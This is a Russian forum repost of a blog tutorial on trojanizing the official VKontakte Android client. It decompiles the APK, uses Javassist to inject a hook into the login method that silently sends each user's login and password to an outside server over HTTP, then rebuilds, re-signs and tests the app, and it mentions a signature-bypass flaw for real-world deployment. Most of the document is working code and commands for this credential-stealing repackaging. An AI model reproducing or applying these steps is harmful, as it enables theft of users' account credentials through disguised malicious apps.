Новости из Блогов Модифицируем официальное приложение VKontakte под Android

Discussion in 'Мировые новости. Обсуждения.' started by Suicide, 29 Jul 2013.

  1. Suicide

    Suicide Super Moderator
    Staff Member

    Joined:
    24 Apr 2009
    Messages:
    2,484
    Likes Received:
    7,073
    Reputations:
    693
    Модифицируем официальное приложение VKontakte под Android


    Пятница, 26. Июль 2013
    автор: Kaimi
    http://kaimi.ru/2013/07/modifying-official-vk-app-android/
    http://kaimi.ru



    Решил немного покопаться в приложениях на Java и посмотреть возможности модификации при отсутствии оригинальных исходных кодов. В качестве объекта исследования был взят официальный клиент VKontakte под Android. Нашей целью будет модификация приложения таким образом, чтобы данные, отправляемые клиентом при авторизации, отправлялись также на сторонний сервер.
    Для начала нам понадобятся следующие вещи: Android SDK (для тестирования приложения), apktool (для проведения необходимых манипуляций с apk-файлом), dex2jar (для преобразования dex файлов в jar-архивы и подписи результирующего apk тестовой подписью), JD-GUI (для декомпиляции кода и изучения его структуры).
    Теперь нам необходимо где-то взять официальное приложение. Вариантов множество, например: можно воспользоваться расширением APK downloader для Google Chrome, можно взять с какого-нибудь форума , либо со своего Android-устройства.

    Итак, мы получили APK-файл. Воспользуемся apktool, чтобы его распаковать. Для этого откроем консоль и выполним следующую команду:
    Code:
    apktool d -s -r vk.apk
    Здесь и далее я предполагаю, что в текущей директории присутствует вызываемое приложение (в данном случае apktool), либо путь к директории с ним добавлен в переменную окружения PATH. Флаги s и r необходимы, чтобы утилита извлекла ресурсы и код приложения как есть, без каких-либо дополнительных преобразований.
    После выполнения вышеуказанной команды у нас появилась директория со следующей структурой:
    Code:
    │   AndroidManifest.xml
    │   apktool.yml
    │   classes.dex
    │   resources.arsc
    │
    ├───assets
    ├───lib
    └───res
    Файл classes.dex содержит интересующий нас код. Воспользуемся утилитой из набора dex2jar и преобразуем его в jar-файл. Для этого выполним в консоли:
    Code:
    d2j-dex2jar classes.dex
    Получившийся jar-файл открываем в JD-GUI.

    [​IMG]

    Ищем метод, отвечающий за процесс авторизации пользователя в ВКонтакте. Находим метод doAuth в классе Auth.

    [​IMG]

    Теперь нам необходимо как-то внедрить свой код в метод doAuth, который будет отсылать данные пользователя на сторонний сервер. Можно было бы заняться ручной правкой байткода, сгенерированного Java, но это затяжное и занудное занятие. Я решил воспользоваться библиотекой Javassist, которая позволяет производить необходимую модификацию байткода, но при этом писать внедряемый код на Java.
    Напишем небольшую программу с использованием Javassist, которая добавит в начало метода doAuth дополнительный код, осуществляющий отправку данных.
    Code:
    import javassist.*;
    import java.util.logging.*;
    import java.io.IOException;
     
    public class Hook
    {
        public void addHook(String targetClass, String targetMethod)
            throws NotFoundException, CannotCompileException, IOException
        {
            Logger logger = Logger.getLogger("Javassist");
            final String targetFolder = "./modified/";
     
            try
            {
                final ClassPool pool = ClassPool.getDefault();
                // Добавим пути, где javassist будет искать .class файлы используемых в добавляемом коде методов
                pool.appendClassPath(new LoaderClassPath(getClass().getClassLoader()));
                pool.appendClassPath("./android.jar");
     
                // Найдем модифицируемый метод в целевом классе
                final CtClass compiledClass = pool.get(targetClass);
                final CtMethod method = compiledClass.getDeclaredMethod(targetMethod);
     
                // Добавим наш код ($1, $2 - аргументы, которые получает оригинальный метод)
                // Подробнее почитать можно тут: http://www.csg.ci.i.u-tokyo.ac.jp/~chiba/javassist/tutorial/tutorial2.html#before
                method.insertBefore("{ try {android.net.http.AndroidHttpClient.newInstance(\"Android\").execute(new org.apache.http.client.methods.HttpGet(\"http://google.com/?login=\" + $1 + \"&password=\" + $2 ));} catch (Exception e) {} }");
                compiledClass.writeFile(targetFolder);
     
                logger.info(targetClass + "." + targetMethod + " has been modified and saved under " + targetFolder);
            }
            catch (NotFoundException e)
            {
                logger.warning("Failed to find the target class to modify " + targetClass);
            }
        }
     
        public static void main(String[] args)
            throws Exception
        {
            final String targetClass = "com.vkontakte.android.Auth";
            final String targetMethod = "doAuth";
     
            new Hook().addHook(targetClass, targetMethod);
        }
    }
    Внедряемый код приведен в виде одной строки, что не очень удобно. Приведу его на всякий случай отдельно для удобства.
    Code:
    {
        try
        {
            android.net.http.AndroidHttpClient.newInstance("Android").execute(new org.apache.http.client.methods.HttpGet("http://google.com/?login=" + $1 + "&password=" + $2 ));
        }
        catch (Exception e) {}
    }
    Скомпилируем вышеописанный код из консоли.
    Code:
    javac -cp ./javassist.jar Hook.java
    Прежде чем запускать получившуюся программу, распакуем Auth.class из jar-файла (который мы получили ранее из dex-файла) в директорию рядом с сохранением полных путей. Также в директории с программой должны присутствовать файлы javassist.jar и android.jar (из Android SDK). Всё, теперь можно запускать.
    Code:
    java -cp .;javassist.jar;android.jar Hook

    После успешного выполнения мы получили модифицированный Auth.class, в этом можно убедиться, открыв файл в JD-GUI.

    [​IMG]

    Заменим Auth.class в jar-файле с помощью любого архиватора. Воспользуемся d2j-jar2dex.bat и преобразуем jar-файл обратно в dex-файл.
    Code:
    d2j-jar2dex classes_dex2jar.jar
    Заменим classes.dex в директории, куда мы распаковывали apk-файл с помощью apktool, и создадим из директории новый apk-файл.
    Code:
    apktool b vk vk.apk
    У получившегося файла отсутствует цифровая подпись. Исправим это с помощью d2j-apk-sign из набора dex2jar.
    Code:
    d2j-apk-sign vk.apk
    Настало время протестировать получвшийся файл. Для этого нам понадобится эмулятор из набора Android SDK или реальное устройство. В случае с эмулятором всё просто: настраиваем эмулятор, запускаем виртуальное устройство, выполняем в консоли adb install vk-signed.apk.

    [​IMG]

    Запустим какой-нибудь сетевой снифер (я воспользовался Wireshark), запустим приложение ВКонтакте на эмуляторе и попробуем авторизоваться.

    [​IMG]

    Снифер показывает, что данные авторизации были предварительно отправлены на тестовый адрес. Всё работает. Конечно, при использовании вышеописанного подхода в реальной обстановке, возникла бы проблема корректной цифровой подписи, но она решаема благодаря недавно опубликованной уязвимости, которая позволяет обойти проверку подписи на ряде устройств, которые ещё не получили обновление.

    Фрагмент кода из статьи и оригинальный apk-файл ВКонтакте: скачать
     
Loading...